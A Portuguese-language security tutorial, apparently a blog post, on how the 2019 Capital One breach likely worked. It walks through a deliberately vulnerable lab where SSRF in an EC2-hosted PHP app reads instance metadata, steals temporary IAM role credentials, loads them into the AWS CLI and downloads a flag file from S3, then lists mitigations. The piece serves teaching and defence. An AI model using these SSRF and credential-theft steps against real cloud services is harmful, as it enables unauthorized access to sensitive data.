Em Julho de 2019, o banco Capital One sofreu um ataque hacker onde mais de 100 milhões de cartões de créditos foram roubados. Houve muitas especulações sobre como o hacker obteve acesso aos cartões, mas o que tudo indica foi por meio da exploração de uma aplicação vulnerável a "Server Side Request Forgery".
Neste artigo vamos entender como uma aplicação vulnerável em uma instância na nuvem pode ser explorada para obter acesso a dados sensíveis e quais ferramentas estão disponíveis para mitigar este ataque.
No nosso cenário teremos uma aplicação PHP rodando em uma instância Amazon EC2 na AWS. Esta instância se comunica com um Bucket S3 para armazenar ou consultar informações de cartões.
Vamos entender algumas características destes dois serviços da AWS antes de partir para a vulnerabilidade.
O Simple Storage Service (S3) é um serviço gerenciado da AWS de armazenamento de objetos. Nele podemos armazenar arquivos, definir políticas de acesso, criptografar objetos, etc. O acesso ao S3 pode ser feito via API. Para isso, as requisições precisam ser autenticadas. Uma forma de acessar Buckets S3, sem precisar se preocupar com a composição da chamada API, é via Console Web.
Outra forma de acesso é via terminal, instalando e utilizando a AWS command line. Ao configurar suas credenciais da AWS (access key e secret key), o o command line faz o resto pra você.
$ aws s3 ls 2020-07-07 18:09:06 hackthelab-credit-card-info $ aws s3 ls s3://hackthelab-credit-card-info 2020-07-07 20:42:23 39 flag.txt
O Amazon Elastic Compute Cloud (Amazon EC2) é um web service que permite criar máquinas virtuais com alguns cliques ou um comando no terminal. Uma característica importante de instâncias EC2 é o metadado.
O metadado da EC2 é um conjunto de informações sobre a instância. Os metadados podem ser acessadas a partir da instância, acessando o endereço reservado conforme abaixo :
$ curl http://169.254.169.254/latest/meta-data/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname iam/ instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/
No exemplo abaixo, executamos o comando curl no terminal da instância EC2 para obter acesso ao IP público armazenado no metadado :
curl http://169.254.169.254/latest/meta-data/public-ipv4
Algumas as informações que são possível obter via metadado :
No nosso cenário, nossa aplicação precisa se comunicar com um Bucket S3 para armazenar e consultar dados confidenciais.
Uma das formas de fazer isso, é criar um usuário no IAM com permissões de acessar os Buckets S3 e usar essas credenciais dentro do código da aplicação para fazer as chamadas via API. Usar credenciais hard-coded traz diversos riscos de segurança.
A melhor forma de se fazer isso é utilizando roles.
Uma role é um conjunto de permissões (por meio de políticas escritas em JSON) que irá definir quais acessos a instância terá. Vamos ver um exemplo :
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "s3:*", "Resource": "*" } ] }
Vamos supor que eu anexe a política acima na role da minha instância EC2 (isto pode ser feito na Console Web da AWS). Com esta role, minha instância poderá executar ("Effect": "Allow") todas ações referentes a Bucket S3 ("Action": "s3:*"), em qualquer Bucket S3 da minha conta ("Resource": "*").
Desta forma, minha instância EC2 pode se comunicar com Bucket S3 via chamadas API sem precisar armazenar credenciais dentro da instância ou no código fonte. Basta executar os comandos (como por exemplo aws s3 ls) e poderemos ter acesso aos buckets.
💡 O que acontece na verdade é que, de forma transparente, a instância irá armazenar em seu metadado credenciais temporárias para autenticar e assinar as requisições API para os Buckets S3. Essas credenciais são automaticamente rotacionadas pela AWS.
As credenciais temporárias são armazenadas na URL abaixo :
http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DO_PERFIL_DA_INSTANCIA
Estas credenciais se dão no seguinte formato :
Com os comandos abaixo, podemos usar essas credenciais para configurar nosso AWS command line para enviar comandos com a permissão estabelecida no perfil da instância.
export AWS_ACCESS_KEY_ID="ACCESS_KEY" export AWS_SECRET_ACCESS_KEY="SECRET_KEY" export AWS_SESSION_TOKEN="SESSION_TOKEN"
Lembrando que as credenciais são temporárias e possuem tempo de expiração.
"In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed."
Esta é a descrição da vulnerabilidade segundo a OWASP. Em outras palavras, podemos abusar de alguma funcionalidade de uma aplicação web fazendo que com que a aplicação leia um arquivo local ou de uma URL remota.
Com o SSRF, podemos forçar a aplicação que está rodando em uma instância EC2 a ler e nos mostrar informações dos metadados, incluindo credenciais temporárias.
Montei um lab para testarmos tudo isso na prática. Irei detalhar o passo a passo a seguir, mas fique a vontade para testar por conta própria.
Encontrando uma aplicação com o código vulnerável a SSRF
O código da aplicação está propositalmente vulnerável a SSRF. Ele possui um campo de entrada onde podemos passar a URL que gostaríamos que o servidor acesse. Em um cenário real, podemos usar técnicas para detectar se o campo é vulnerável a SSRF.
Acesse : http://100security.hackthelab.com
Obtendo o nome do perfil da instância
Basta utilizarmos a URL do metadado que retorna o nome da role anexada na instância :
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Aplicação rodando em uma EC2 com metadado habilitado
Com o nome do perfil, podemos solicitar as credenciais pela URL abaixo :
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Profile
Configurando o command line
Agora, é só configurar o AWS command line com as informações
$ export AWS_ACCESS_KEY_ID="ACCESS_KEY" $ export AWS_SECRET_ACCESS_KEY="SECRET_KEY" $ export AWS_SESSION_TOKEN="SESSION_TOKEN"
Acessar Bucket S3
E acessar o bucket S3 usando AWS command line
$ aws s3 ls 2020-07-07 18:09:06 hackthelab-credit-card-info $ aws s3 ls hackthelab-credit-card-info 2020-07-07 20:42:23 39 flag.txt $ aws s3 cp s3://hackthelab-credit-card-info/flag.txt ~/Desktop/flag.txt download: s3://hackthelab-credit-card-info/flag.txt to ./flag.txt $ cat flag.txt Own3d! SSRF concluído pelo 100security
Principal fator de mitigação é obviamente a correção da vulnerabilidade, feito com a validação de caracteres de entradas de usuário na aplicação.
Mas além da correção, a AWS possui outras opções para mitigar este tipo de cenário de ataque :
Uma infinidade de boas práticas e serviços disponíveis na AWS, quando adotados também mitigam, não só este tipo de ataque, como outros problemas de segurança :
Minhas opiniões são pessoais e não refletem a opinião e posição do meu empregador.